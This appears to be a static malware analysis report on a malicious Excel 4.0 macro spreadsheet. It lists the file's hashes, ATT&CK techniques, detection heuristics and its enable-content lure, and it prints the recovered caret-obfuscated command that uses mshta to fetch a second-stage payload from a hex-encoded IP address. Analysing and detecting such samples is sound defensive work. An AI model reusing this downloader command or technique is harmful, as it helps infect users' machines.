Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 cec17a2d2d5cef63…

MALICIOUS

Office (OLE) / .XLS

64.6 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: 84e54610156eb88d20c0324f880a682f SHA-1: c28d5c6bd4a8805ae324c4a477d8e36d818a1ac3 SHA-256: cec17a2d2d5cef63c3c508ed64bf9c9976637d36ad40077a9d358a55d968f081
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File T1059.005 Service Execution: Visual Basic

The sample is an Excel 4.0 macro-enabled spreadsheet that uses an Auto_Open macro. The document body contains a lure instructing the user to enable editing and content to view the document. The extracted macro reveals a command that reconstructs to 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html', indicating it will download a second-stage payload from the specified URL. This technique is commonly used by macro-based downloaders.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes

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